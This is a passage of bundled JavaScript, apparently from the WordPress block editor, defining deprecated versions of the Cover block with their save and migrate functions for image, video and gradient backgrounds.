                &quot;wp-block-cover__gradient-background&quot;: url &amp;&amp; gradientValue &amp;&amp; dimRatio !== 0,
                &quot;has-background-gradient&quot;: gradientValue,
                [gradientClass]: gradientClass
              }
            ),
            style: bgStyle
          }
        ),
        !useFeaturedImage &amp;&amp; isImageBackground &amp;&amp; url &amp;&amp; (isImgElement ? /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
          &quot;img&quot;,
          {
            className: imgClasses,
            alt,
            src: url,
            style: { objectPosition },
            &quot;data-object-fit&quot;: &quot;cover&quot;,
            &quot;data-object-position&quot;: objectPosition
          }
        ) : /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
          &quot;div&quot;,
          {
            role: &quot;img&quot;,
            className: imgClasses,
            style: { backgroundPosition, backgroundImage }
          }
        )),
        isVideoBackground &amp;&amp; url &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
          &quot;video&quot;,
          {
            className: clsx_default(
              &quot;wp-block-cover__video-background&quot;,
              &quot;intrinsic-ignore&quot;
            ),
            autoPlay: true,
            muted: true,
            loop: true,
            playsInline: true,
            src: url,
            style: { objectPosition },
            &quot;data-object-fit&quot;: &quot;cover&quot;,
            &quot;data-object-position&quot;: objectPosition
          }
        ),
        /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
          &quot;div&quot;,
          {
            ...import_block_editor61.useInnerBlocksProps.save({
              className: &quot;wp-block-cover__inner-container&quot;
            })
          }
        )
      ] });
    },
    migrate: migrateTag
  };
  var v102 = {
    attributes: v8ToV11BlockAttributes,
    supports: v7toV11BlockSupports,
    save({ attributes: attributes2 }) {
      const {
        backgroundType,
        gradient,
        contentPosition,
        customGradient,
        customOverlayColor,
        dimRatio,
        focalPoint,
        useFeaturedImage,
        hasParallax,
        isDark: isDark2,
        isRepeated,
        overlayColor,
        url,
        alt,
        id,
        minHeight: minHeightProp,
        minHeightUnit
      } = attributes2;
      const overlayColorClass = (0, import_block_editor61.getColorClassName)(
        &quot;background-color&quot;,
        overlayColor
      );
      const gradientClass = (0, import_block_editor61.__experimentalGetGradientClass)(gradient);
      const minHeight = minHeightProp &amp;&amp; minHeightUnit ? `${minHeightProp}${minHeightUnit}` : minHeightProp;
      const isImageBackground = IMAGE_BACKGROUND_TYPE === backgroundType;
      const isVideoBackground = VIDEO_BACKGROUND_TYPE === backgroundType;
      const isImgElement = !(hasParallax || isRepeated);
      const style2 = {
        ...isImageBackground &amp;&amp; !isImgElement &amp;&amp; !useFeaturedImage ? backgroundImageStyles(url) : {},
        minHeight: minHeight || void 0
      };
      const bgStyle = {
        backgroundColor: !overlayColorClass ? customOverlayColor : void 0,
        background: customGradient ? customGradient : void 0
      };
      const objectPosition = (
        // prettier-ignore
        focalPoint &amp;&amp; isImgElement ? `${Math.round(focalPoint.x * 100)}% ${Math.round(focalPoint.y * 100)}%` : void 0
      );
      const classes = clsx_default(
        {
          &quot;is-light&quot;: !isDark2,
          &quot;has-parallax&quot;: hasParallax,
          &quot;is-repeated&quot;: isRepeated,
          &quot;has-custom-content-position&quot;: !isContentPositionCenter(contentPosition)
        },
        getPositionClassName(contentPosition)
      );
      const gradientValue = gradient || customGradient;
      return /* @__PURE__ */ (0, import_jsx_runtime218.jsxs)(&quot;div&quot;, { ...import_block_editor61.useBlockProps.save({ className: classes, style: style2 }), children: [
        /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
          &quot;span&quot;,
          {
            &quot;aria-hidden&quot;: &quot;true&quot;,
            className: clsx_default(
              &quot;wp-block-cover__background&quot;,
              overlayColorClass,
              dimRatioToClass(dimRatio),
              {
                &quot;has-background-dim&quot;: dimRatio !== void 0,
                // For backwards compatibility. Former versions of the Cover Block applied
                // `.wp-block-cover__gradient-background` in the presence of
                // media, a gradient and a dim.
                &quot;wp-block-cover__gradient-background&quot;: url &amp;&amp; gradientValue &amp;&amp; dimRatio !== 0,
                &quot;has-background-gradient&quot;: gradientValue,
                [gradientClass]: gradientClass
              }
            ),
            style: bgStyle
          }
        ),
        !useFeaturedImage &amp;&amp; isImageBackground &amp;&amp; isImgElement &amp;&amp; url &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
          &quot;img&quot;,
          {
            className: clsx_default(
              &quot;wp-block-cover__image-background&quot;,
              id ? `wp-image-${id}` : null
            ),
            alt,
            src: url,
            style: { objectPosition },
            &quot;data-object-fit&quot;: &quot;cover&quot;,
            &quot;data-object-position&quot;: objectPosition
          }
        ),
        isVideoBackground &amp;&amp; url &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
          &quot;video&quot;,
          {
            className: clsx_default(
              &quot;wp-block-cover__video-background&quot;,
              &quot;intrinsic-ignore&quot;
            ),
            autoPlay: true,
            muted: true,
            loop: true,
            playsInline: true,
            src: url,
            style: { objectPosition },
            &quot;data-object-fit&quot;: &quot;cover&quot;,
            &quot;data-object-position&quot;: objectPosition
          }
        ),
        /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
          &quot;div&quot;,
          {
            ...import_block_editor61.useInnerBlocksProps.save({
              className: &quot;wp-block-cover__inner-container&quot;
            })
          }
        )
      ] });
    },
    migrate: migrateTag
  };
  var v9 = {
    attributes: v8ToV11BlockAttributes,
    supports: v7toV11BlockSupports,
    save({ attributes: attributes2 }) {
      const {
        backgroundType,
        gradient,
        contentPosition,
        customGradient,
        customOverlayColor,
        dimRatio,
        focalPoint,
        hasParallax,
        isDark: isDark2,
        isRepeated,
        overlayColor,
        url,
        alt,
        id,
        minHeight: minHeightProp,
        minHeightUnit
      } = attributes2;
      const overlayColorClass = (0, import_block_editor61.getColorClassName)(
        &quot;background-color&quot;,
        overlayColor
      );
      const gradientClass = (0, import_block_editor61.__experimentalGetGradientClass)(gradient);
      const minHeight = minHeightUnit ? `${minHeightProp}${minHeightUnit}` : minHeightProp;
      const isImageBackground = IMAGE_BACKGROUND_TYPE === backgroundType;
      const isVideoBackground = VIDEO_BACKGROUND_TYPE === backgroundType;
      const isImgElement = !(hasParallax || isRepeated);
      const style2 = {
        ...isImageBackground &amp;&amp; !isImgElement ? backgroundImageStyles(url) : {},
        minHeight: minHeight || void 0
      };
      const bgStyle = {
        backgroundColor: !overlayColorClass ? customOverlayColor : void 0,
        background: customGradient ? customGradient : void 0
      };
      const objectPosition = (
        // prettier-ignore
        focalPoint &amp;&amp; isImgElement ? `${Math.round(focalPoint.x * 100)}% ${Math.round(focalPoint.y * 100)}%` : void 0
      );
      const classes = clsx_default(
        {
          &quot;is-light&quot;: !isDark2,
          &quot;has-parallax&quot;: hasParallax,
          &quot;is-repeated&quot;: isRepeated,
          &quot;has-custom-content-position&quot;: !isContentPositionCenter(contentPosition)
        },
        getPositionClassName(contentPosition)
      );
      const gradientValue = gradient || customGradient;
      return /* @__PURE__ */ (0, import_jsx_runtime218.jsxs)(&quot;div&quot;, { ...import_block_editor61.useBlockProps.save({ className: classes, style: style2 }), children: [
        /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
          &quot;span&quot;,
          {
            &quot;aria-hidden&quot;: &quot;true&quot;,
            className: clsx_default(
              &quot;wp-block-cover__background&quot;,
              overlayColorClass,
              dimRatioToClass(dimRatio),
              {
                &quot;has-background-dim&quot;: dimRatio !== void 0,
                // For backwards compatibility. Former versions of the Cover Block applied
                // `.wp-block-cover__gradient-background` in the presence of
                // media, a gradient and a dim.
                &quot;wp-block-cover__gradient-background&quot;: url &amp;&amp; gradientValue &amp;&amp; dimRatio !== 0,
                &quot;has-background-gradient&quot;: gradientValue,
                [gradientClass]: gradientClass
              }
            ),
            style: bgStyle
          }
        ),
        isImageBackground &amp;&amp; isImgElement &amp;&amp; url &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
          &quot;img&quot;,
          {
            className: clsx_default(
              &quot;wp-block-cover__image-background&quot;,
              id ? `wp-image-${id}` : null
            ),
            alt,
            src: url,
            style: { objectPosition },
            &quot;data-object-fit&quot;: &quot;cover&quot;,
            &quot;data-object-position&quot;: objectPosition
          }
        ),
        isVideoBackground &amp;&amp; url &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
          &quot;video&quot;,
          {
            className: clsx_default(
              &quot;wp-block-cover__video-background&quot;,
              &quot;intrinsic-ignore&quot;
            ),
            autoPlay: true,
            muted: true,
            loop: true,
            playsInline: true,
            src: url,
            style: { objectPosition },
            &quot;data-object-fit&quot;: &quot;cover&quot;,
            &quot;data-object-position&quot;: objectPosition
          }
        ),
        /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
          &quot;div&quot;,
          {
            ...import_block_editor61.useInnerBlocksProps.save({
              className: &quot;wp-block-cover__inner-container&quot;
            })
          }
        )
      ] });
    },
    migrate: migrateTag
  };
  var v8 = {
    attributes: v8ToV11BlockAttributes,
    supports: v7toV11BlockSupports,
    save({ attributes: attributes2 }) {
      const {
        backgroundType,
        gradient,
        contentPosition,
        customGradient,
        customOverlayColor,
        dimRatio,
        focalPoint,
        hasParallax,
        isDark: isDark2,
        isRepeated,
        overlayColor,
        url,
        alt,
        id,
        minHeight: minHeightProp,
        minHeightUnit
      } = attributes2;
      const overlayColorClass = (0, import_block_editor61.getColorClassName)(
        &quot;background-color&quot;,
        overlayColor
      );
      const gradientClass = (0, import_block_editor61.__experimentalGetGradientClass)(gradient);
      const minHeight = minHeightUnit ? `${minHeightProp}${minHeightUnit}` : minHeightProp;
      const isImageBackground = IMAGE_BACKGROUND_TYPE === backgroundType;
      const isVideoBackground = VIDEO_BACKGROUND_TYPE === backgroundType;
      const isImgElement = !(hasParallax || isRepeated);
      const style2 = {
        ...isImageBackground &amp;&amp; !isImgElement ? backgroundImageStyles(url) : {},
        minHeight: minHeight || void 0
      };
      const bgStyle = {
        backgroundColor: !overlayColorClass ? customOverlayColor : void 0,
        background: customGradient ? customGradient : void 0
      };
      const objectPosition = (
        // prettier-ignore
        focalPoint &amp;&amp; isImgElement ? `${Math.round(focalPoint.x * 100)}% ${Math.round(focalPoint.y * 100)}%` : void 0
      );
      const classes = clsx_default(
        {
          &quot;is-light&quot;: !isDark2,
          &quot;has-parallax&quot;: hasParallax,
          &quot;is-repeated&quot;: isRepeated,
          &quot;has-custom-content-position&quot;: !isContentPositionCenter(contentPosition)
        },
        getPositionClassName(contentPosition)
      );
      return /* @__PURE__ */ (0, import_jsx_runtime218.jsxs)(&quot;div&quot;, { ...import_block_editor61.useBlockProps.save({ className: classes, style: style2 }), children: [
        /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
          &quot;span&quot;,
          {
            &quot;aria-hidden&quot;: &quot;true&quot;,
            className: clsx_default(
              overlayColorClass,
              dimRatioToClass(dimRatio),
              &quot;wp-block-cover__gradient-background&quot;,
              gradientClass,
              {
                &quot;has-background-dim&quot;: dimRatio !== void 0,
                &quot;has-background-gradient&quot;: gradient || customGradient,
                [gradientClass]: !url &amp;&amp; gradientClass
              }
            ),
            style: bgStyle
          }
        ),
        isImageBackground &amp;&amp; isImgElement &amp;&amp; url &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
          &quot;img&quot;,
          {
            className: clsx_default(
              &quot;wp-block-cover__image-background&quot;,
              id ? `wp-image-${id}` : null
            ),
            alt,
            src: url,
            style: { objectPosition },
            &quot;data-object-fit&quot;: &quot;cover&quot;,
            &quot;data-object-position&quot;: objectPosition
          }
        ),
        isVideoBackground &amp;&amp; url &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
          &quot;video&quot;,
          {
            className: clsx_default(
              &quot;wp-block-cover__video-background&quot;,
              &quot;intrinsic-ignore&quot;
            ),
            autoPlay: true,
            muted: true,
            loop: true,
            playsInline: true,
            src: url,
            style: { objectPosition },
            &quot;data-object-fit&quot;: &quot;cover&quot;,
            &quot;data-object-position&quot;: objectPosition
          }
        ),
        /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
          &quot;div&quot;,
          {
            ...import_block_editor61.useInnerBlocksProps.save({
              className: &quot;wp-block-cover__inner-container&quot;
            })
          }
        )
      ] });
    },
    migrate: migrateTag
  };
  var v7 = {
    attributes: {
      ...blockAttributes2,
      isRepeated: {
        type: &quot;boolean&quot;,
        default: false
      },
      minHeight: {
        type: &quot;number&quot;
      },
      minHeightUnit: {
        type: &quot;string&quot;
      },
      gradient: {
        type: &quot;string&quot;
      },
      customGradient: {
        type: &quot;string&quot;
      },
      contentPosition: {
        type: &quot;string&quot;
      },
      alt: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;img&quot;,
        attribute: &quot;alt&quot;,
        default: &quot;&quot;
      }
    },
    supports: v7toV11BlockSupports,
    save({ attributes: attributes2 }) {
      const {
        backgroundType,
        gradient,
        contentPosition,
        customGradient,
        customOverlayColor,
        dimRatio,
        focalPoint,
        hasParallax,
        isRepeated,
        overlayColor,
        url,
        alt,
        id,
        minHeight: minHeightProp,
        minHeightUnit
      } = attributes2;
      const overlayColorClass = (0, import_block_editor61.getColorClassName)(
        &quot;background-color&quot;,
        overlayColor
      );
      const gradientClass = (0, import_block_editor61.__experimentalGetGradientClass)(gradient);
      const minHeight = minHeightUnit ? `${minHeightProp}${minHeightUnit}` : minHeightProp;
      const isImageBackground = IMAGE_BACKGROUND_TYPE === backgroundType;
      const isVideoBackground = VIDEO_BACKGROUND_TYPE === backgroundType;
      const isImgElement = !(hasParallax || isRepeated);
      const style2 = {
        ...isImageBackground &amp;&amp; !isImgElement ? backgroundImageStyles(url) : {},
        backgroundColor: !overlayColorClass ? customOverlayColor : void 0,
        background: customGradient &amp;&amp; !url ? customGradient : void 0,
        minHeight: minHeight || void 0
      };
      const objectPosition = (
        // prettier-ignore
        focalPoint &amp;&amp; isImgElement ? `${Math.round(focalPoint.x * 100)}% ${Math.round(focalPoint.y * 100)}%` : void 0
      );
      const classes = clsx_default(
        dimRatioToClassV1(dimRatio),
        overlayColorClass,
        {
          &quot;has-background-dim&quot;: dimRatio !== 0,
          &quot;has-parallax&quot;: hasParallax,
          &quot;is-repeated&quot;: isRepeated,
          &quot;has-background-gradient&quot;: gradient || customGradient,
          [gradientClass]: !url &amp;&amp; gradientClass,
          &quot;has-custom-content-position&quot;: !isContentPositionCenter(contentPosition)
        },
        getPositionClassName(contentPosition)
      );
      return /* @__PURE__ */ (0, import_jsx_runtime218.jsxs)(&quot;div&quot;, { ...import_block_editor61.useBlockProps.save({ className: classes, style: style2 }), children: [
        url &amp;&amp; (gradient || customGradient) &amp;&amp; dimRatio !== 0 &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
          &quot;span&quot;,
          {
            &quot;aria-hidden&quot;: &quot;true&quot;,
            className: clsx_default(
              &quot;wp-block-cover__gradient-background&quot;,
              gradientClass
            ),
            style: customGradient ? { background: customGradient } : void 0
          }
        ),
        isImageBackground &amp;&amp; isImgElement &amp;&amp; url &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
          &quot;img&quot;,
          {
            className: clsx_default(
              &quot;wp-block-cover__image-background&quot;,
              id ? `wp-image-${id}` : null
            ),
            alt,
            src: url,
            style: { objectPosition },
            &quot;data-object-fit&quot;: &quot;cover&quot;,
            &quot;data-object-position&quot;: objectPosition
          }
        ),
        isVideoBackground &amp;&amp; url &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
          &quot;video&quot;,
          {
            className: clsx_default(
              &quot;wp-block-cover__video-background&quot;,
              &quot;intrinsic-ignore&quot;
            ),
            autoPlay: true,
            muted: true,
            loop: true,
            playsInline: true,
            src: url,
            style: { objectPosition },
            &quot;data-object-fit&quot;: &quot;cover&quot;,
            &quot;data-object-position&quot;: objectPosition
          }
        ),
        /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(&quot;div&quot;, { className: &quot;wp-block-cover__inner-container&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(import_block_editor61.InnerBlocks.Content, {}) })
      ] });
    },
    migrate: (0, import_compose14.compose)(migrateDimRatio, migrateTag)
  };
  var v6 = {
    attributes: {
      ...blockAttributes2,
      isRepeated: {
        type: &quot;boolean&quot;,
        default: false
      },
      minHeight: {
        type: &quot;number&quot;
      },
      minHeightUnit: {
        type: &quot;string&quot;
      },
      gradient: {
        type: &quot;string&quot;
      },
      customGradient: {
        type: &quot;string&quot;
      },
      contentPosition: {
        type: &quot;string&quot;
      }
    },
    supports: {
      align: true
    },
    save({ attributes: attributes2 }) {
      const {
        backgroundType,
        gradient,
        contentPosition,
        customGradient,
        customOverlayColor,
        dimRatio,
        focalPoint,
        hasParallax,
        isRepeated,
        overlayColor,
        url,
        minHeight: minHeightProp,
        minHeightUnit
      } = attributes2;
      const overlayColorClass = (0, import_block_editor61.getColorClassName)(
        &quot;background-color&quot;,
        overlayColor
      );
      const gradientClass = (0, import_block_editor61.__experimentalGetGradientClass)(gradient);
      const minHeight = minHeightUnit ? `${minHeightProp}${minHeightUnit}` : minHeightProp;
      const isImageBackground = IMAGE_BACKGROUND_TYPE === backgroundType;
      const isVideoBackground = VIDEO_BACKGROUND_TYPE === backgroundType;
      const style2 = isImageBackground ? backgroundImageStyles(url) : {};
      const videoStyle = {};
      if (!overlayColorClass) {
        style2.backgroundColor = customOverlayColor;
      }
      if (customGradient &amp;&amp; !url) {
        style2.background = customGradient;
      }
      style2.minHeight = minHeight || void 0;
      let positionValue;
      if (focalPoint) {
        positionValue = `${Math.round(
          focalPoint.x * 100
        )}% ${Math.round(focalPoint.y * 100)}%`;
        if (isImageBackground &amp;&amp; !hasParallax) {
          style2.backgroundPosition = positionValue;
        }
        if (isVideoBackground) {
          videoStyle.objectPosition = positionValue;
        }
      }
      const classes = clsx_default(
        dimRatioToClassV1(dimRatio),
        overlayColorClass,
        {
          &quot;has-background-dim&quot;: dimRatio !== 0,
          &quot;has-parallax&quot;: hasParallax,
          &quot;is-repeated&quot;: isRepeated,
          &quot;has-background-gradient&quot;: gradient || customGradient,
          [gradientClass]: !url &amp;&amp; gradientClass,
          &quot;has-custom-content-position&quot;: !isContentPositionCenter(contentPosition)
        },
        getPositionClassName(contentPosition)
      );
      return /* @__PURE__ */ (0, import_jsx_runtime218.jsxs)(&quot;div&quot;, { ...import_block_editor61.useBlockProps.save({ className: classes, style: style2 }), children: [
        url &amp;&amp; (gradient || customGradient) &amp;&amp; dimRatio !== 0 &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
          &quot;span&quot;,
          {
            &quot;aria-hidden&quot;: &quot;true&quot;,
            className: clsx_default(
              &quot;wp-block-cover__gradient-background&quot;,
              gradientClass
            ),
            style: customGradient ? { background: customGradient } : void 0
          }
        ),
        isVideoBackground &amp;&amp; url &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
          &quot;video&quot;,
          {
            className: &quot;wp-block-cover__video-background&quot;,
            autoPlay: true,
            muted: true,
            loop: true,
            playsInline: true,
            src: url,
            style: videoStyle
          }
        ),
        /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(&quot;div&quot;, { className: &quot;wp-block-cover__inner-container&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(import_block_editor61.InnerBlocks.Content, {}) })
      ] });
    },
    migrate: (0, import_compose14.compose)(migrateDimRatio, migrateTag)
  };
  var v5 = {
    attributes: {
      ...blockAttributes2,
      minHeight: {
        type: &quot;number&quot;
      },
      gradient: {
        type: &quot;string&quot;
      },
      customGradient: {
        type: &quot;string&quot;
      }
    },
    supports: {
      align: true
    },
    save({ attributes: attributes2 }) {
      const {
        backgroundType,
        gradient,
        customGradient,
        customOverlayColor,
        dimRatio,
        focalPoint,
        hasParallax,
        overlayColor,
        url,
        minHeight
      } = attributes2;
      const overlayColorClass = (0, import_block_editor61.getColorClassName)(
        &quot;background-color&quot;,
        overlayColor
      );
      const gradientClass = (0, import_block_editor61.__experimentalGetGradientClass)(gradient);
      const style2 = backgroundType === IMAGE_BACKGROUND_TYPE ? backgroundImageStyles(url) : {};
      if (!overlayColorClass) {
        style2.backgroundColor = customOverlayColor;
      }
      if (focalPoint &amp;&amp; !hasParallax) {
        style2.backgroundPosition = `${Math.round(
          focalPoint.x * 100
        )}% ${Math.round(focalPoint.y * 100)}%`;
      }
      if (customGradient &amp;&amp; !url) {
        style2.background = customGradient;
      }
      style2.minHeight = minHeight || void 0;
      const classes = clsx_default(
        dimRatioToClassV1(dimRatio),
        overlayColorClass,
        {
          &quot;has-background-dim&quot;: dimRatio !== 0,
          &quot;has-parallax&quot;: hasParallax,
          &quot;has-background-gradient&quot;: customGradient,
          [gradientClass]: !url &amp;&amp; gradientClass
        }
      );
      return /* @__PURE__ */ (0, import_jsx_runtime218.jsxs)(&quot;div&quot;, { className: classes, style: style2, children: [
        url &amp;&amp; (gradient || customGradient) &amp;&amp; dimRatio !== 0 &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
          &quot;span&quot;,
          {
            &quot;aria-hidden&quot;: &quot;true&quot;,
            className: clsx_default(
              &quot;wp-block-cover__gradient-background&quot;,
              gradientClass
            ),
            style: customGradient ? { background: customGradient } : void 0
          }
        ),
        VIDEO_BACKGROUND_TYPE === backgroundType &amp;&amp; url &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
          &quot;video&quot;,
          {
            className: &quot;wp-block-cover__video-background&quot;,
            autoPlay: true,
            muted: true,
            loop: true,
            src: url
          }
        ),
        /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(&quot;div&quot;, { className: &quot;wp-block-cover__inner-container&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(import_block_editor61.InnerBlocks.Content, {}) })
      ] });
    },
    migrate: (0, import_compose14.compose)(migrateDimRatio, migrateTag)
  };
  var v4 = {
    attributes: {
      ...blockAttributes2,
      minHeight: {
        type: &quot;number&quot;
      },
      gradient: {
        type: &quot;string&quot;
      },
      customGradient: {
        type: &quot;string&quot;
      }
    },
    supports: {
      align: true
    },
    save({ attributes: attributes2 }) {
      const {
        backgroundType,
        gradient,
        customGradient,
        customOverlayColor,
        dimRatio,
        focalPoint,
        hasParallax,
        overlayColor,
        url,
        minHeight
      } = attributes2;
      const overlayColorClass = (0, import_block_editor61.getColorClassName)(
        &quot;background-color&quot;,
        overlayColor
      );
      const gradientClass = (0, import_block_editor61.__experimentalGetGradientClass)(gradient);
      const style2 = backgroundType === IMAGE_BACKGROUND_TYPE ? backgroundImageStyles(url) : {};
      if (!overlayColorClass) {
        style2.backgroundColor = customOverlayColor;
      }
      if (focalPoint &amp;&amp; !hasParallax) {
        style2.backgroundPosition = `${focalPoint.x * 100}% ${focalPoint.y * 100}%`;
      }
      if (customGradient &amp;&amp; !url) {
        style2.background = customGradient;
      }
      style2.minHeight = minHeight || void 0;
      const classes = clsx_default(
        dimRatioToClassV1(dimRatio),
        overlayColorClass,
        {
          &quot;has-background-dim&quot;: dimRatio !== 0,
          &quot;has-parallax&quot;: hasParallax,
          &quot;has-background-gradient&quot;: customGradient,
          [gradientClass]: !url &amp;&amp; gradientClass
        }
      );
      return /* @__PURE__ */ (0, import_jsx_runtime218.jsxs)(&quot;div&quot;, { className: classes, style: style2, children: [
        url &amp;&amp; (gradient || customGradient) &amp;&amp; dimRatio !== 0 &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
          &quot;span&quot;,
          {
            &quot;aria-hidden&quot;: &quot;true&quot;,
            className: clsx_default(
              &quot;wp-block-cover__gradient-background&quot;,
              gradientClass
            ),
            style: customGradient ? { background: customGradient } : void 0
          }
        ),
        VIDEO_BACKGROUND_TYPE === backgroundType &amp;&amp; url &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
          &quot;video&quot;,
          {
            className: &quot;wp-block-cover__video-background&quot;,
            autoPlay: true,
            muted: true,
            loop: true,
            src: url
          }
        ),
        /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(&quot;div&quot;, { className: &quot;wp-block-cover__inner-container&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(import_block_editor61.InnerBlocks.Content, {}) })
      ] });
    },
    migrate: (0, import_compose14.compose)(migrateDimRatio, migrateTag)
  };
  var v3 = {
    attributes: {
      ...blockAttributes2,
      title: {
        type: &quot;string&quot;,
        source: &quot;html&quot;,
        selector: &quot;p&quot;
      },
      contentAlign: {
        type: &quot;string&quot;,
        default: &quot;center&quot;
      }
    },
    supports: {
      align: true
    },
    save({ attributes: attributes2 }) {
      const {
        backgroundType,
        contentAlign,
        customOverlayColor,
        dimRatio,
        focalPoint,
        hasParallax,
        overlayColor,
        title,
        url
      } = attributes2;
      const overlayColorClass = (0, import_block_editor61.getColorClassName)(
        &quot;background-color&quot;,
        overlayColor
      );
      const style2 = backgroundType === IMAGE_BACKGROUND_TYPE ? backgroundImageStyles(url) : {};
      if (!overlayColorClass) {
        style2.backgroundColor = customOverlayColor;
      }
      if (focalPoint &amp;&amp; !hasParallax) {
        style2.backgroundPosition = `${focalPoint.x * 100}% ${focalPoint.y * 100}%`;
      }
      const classes = clsx_default(
        dimRatioToClassV1(dimRatio),
        overlayColorClass,
        {
          &quot;has-background-dim&quot;: dimRatio !== 0,
          &quot;has-parallax&quot;: hasParallax,
          [`has-${contentAlign}-content`]: contentAlign !== &quot;center&quot;
        }
      );
      return /* @__PURE__ */ (0, import_jsx_runtime218.jsxs)(&quot;div&quot;, { className: classes, style: style2, children: [
        VIDEO_BACKGROUND_TYPE === backgroundType &amp;&amp; url &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
          &quot;video&quot;,
          {
            className: &quot;wp-block-cover__video-background&quot;,
            autoPlay: true,
            muted: true,
            loop: true,
            src: url
          }
        ),
        !import_block_editor61.RichText.isEmpty(title) &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
          import_block_editor61.RichText.Content,
          {
            tagName: &quot;p&quot;,
            className: &quot;wp-block-cover-text&quot;,
            value: title
          }
        )
      ] });
    },
    migrate(attributes2) {
      const newAttribs = {
        ...attributes2,
        dimRatio: !attributes2.url ? 100 : attributes2.dimRatio,
        tagName: !attributes2.tagName ? &quot;div&quot; : attributes2.tagName
      };
      const { title, contentAlign, ...restAttributes } = newAttribs;
      return [
        restAttributes,
        [
          (0, import_blocks20.createBlock)(&quot;core/paragraph&quot;, {
            content: attributes2.title,
            style: {
              typography: {
                textAlign: attributes2.contentAlign
              }
            },
            fontSize: &quot;large&quot;,
            placeholder: (0, import_i18n46.__)(&quot;Write title\u2026&quot;)
          })
        ]
      ];
    }
  };
  var v24 = {
    attributes: {
      ...blockAttributes2,
      title: {
        type: &quot;string&quot;,
        source: &quot;html&quot;,
        selector: &quot;p&quot;
      },
      contentAlign: {
        type: &quot;string&quot;,
        default: &quot;center&quot;
      },
      align: {
        type: &quot;string&quot;
      }
    },
    supports: {
      className: false
    },
    save({ attributes: attributes2 }) {
      const {
        url,
        title,
        hasParallax,
        dimRatio,
        align,
        contentAlign,
        overlayColor,
        customOverlayColor
      } = attributes2;
      const overlayColorClass = (0, import_block_editor61.getColorClassName)(
        &quot;background-color&quot;,
        overlayColor
      );
      const style2 = backgroundImageStyles(url);
      if (!overlayColorClass) {
        style2.backgroundColor = customOverlayColor;
      }
      const classes = clsx_default(
        &quot;wp-block-cover-image&quot;,
        dimRatioToClassV1(dimRatio),
        overlayColorClass,
        {
          &quot;has-background-dim&quot;: dimRatio !== 0,
          &quot;has-parallax&quot;: hasParallax,
          [`has-${contentAlign}-content`]: contentAlign !== &quot;center&quot;
        },
        align ? `align${align}` : null
      );
      return /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(&quot;div&quot;, { className: classes, style: style2, children: !import_block_editor61.RichText.isEmpty(title) &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
        import_block_editor61.RichText.Content,
        {
          tagName: &quot;p&quot;,
          className: &quot;wp-block-cover-image-text&quot;,
          value: title
        }
      ) });
    },
    migrate(attributes2) {
      const newAttribs = {
        ...attributes2,
        dimRatio: !attributes2.url ? 100 : attributes2.dimRatio,
        tagName: !attributes2.tagName ? &quot;div&quot; : attributes2.tagName
      };
      const { title, contentAlign, align, ...restAttributes } = newAttribs;
      return [
        restAttributes,
        [
          (0, import_blocks20.createBlock)(&quot;core/paragraph&quot;, {
            content: attributes2.title,
            style: {
              typography: {
                textAlign: attributes2.contentAlign
              }
            },
            fontSize: &quot;large&quot;,
            placeholder: (0, import_i18n46.__)(&quot;Write title\u2026&quot;)
          })
        ]
      ];
    }
  };
  var v111 = {
    attributes: {
      ...blockAttributes2,
      title: {
        type: &quot;string&quot;,
        source: &quot;html&quot;,
        selector: &quot;h2&quot;
      },
      align: {
        type: &quot;string&quot;
      },
      contentAlign: {
        type: &quot;string&quot;,
        default: &quot;center&quot;
      }
    },
    supports: {
      className: false
    },
    save({ attributes: attributes2 }) {
      const { url, title, hasParallax, dimRatio, align } = attributes2;
      const style2 = backgroundImageStyles(url);
      const classes = clsx_default(
        &quot;wp-block-cover-image&quot;,
        dimRatioToClassV1(dimRatio),
        {
          &quot;has-background-dim&quot;: dimRatio !== 0,
          &quot;has-parallax&quot;: hasParallax
        },
        align ? `align${align}` : null
      );
      return /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(&quot;section&quot;, { className: classes, style: style2, children: /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(import_block_editor61.RichText.Content, { tagName: &quot;h2&quot;, value: title }) });
    },
    migrate(attributes2) {
      const newAttribs = {
        ...attributes2,
        dimRatio: !attributes2.url ? 100 : attributes2.dimRatio,
        tagName: !attributes2.tagName ? &quot;div&quot; : attributes2.tagName
      };
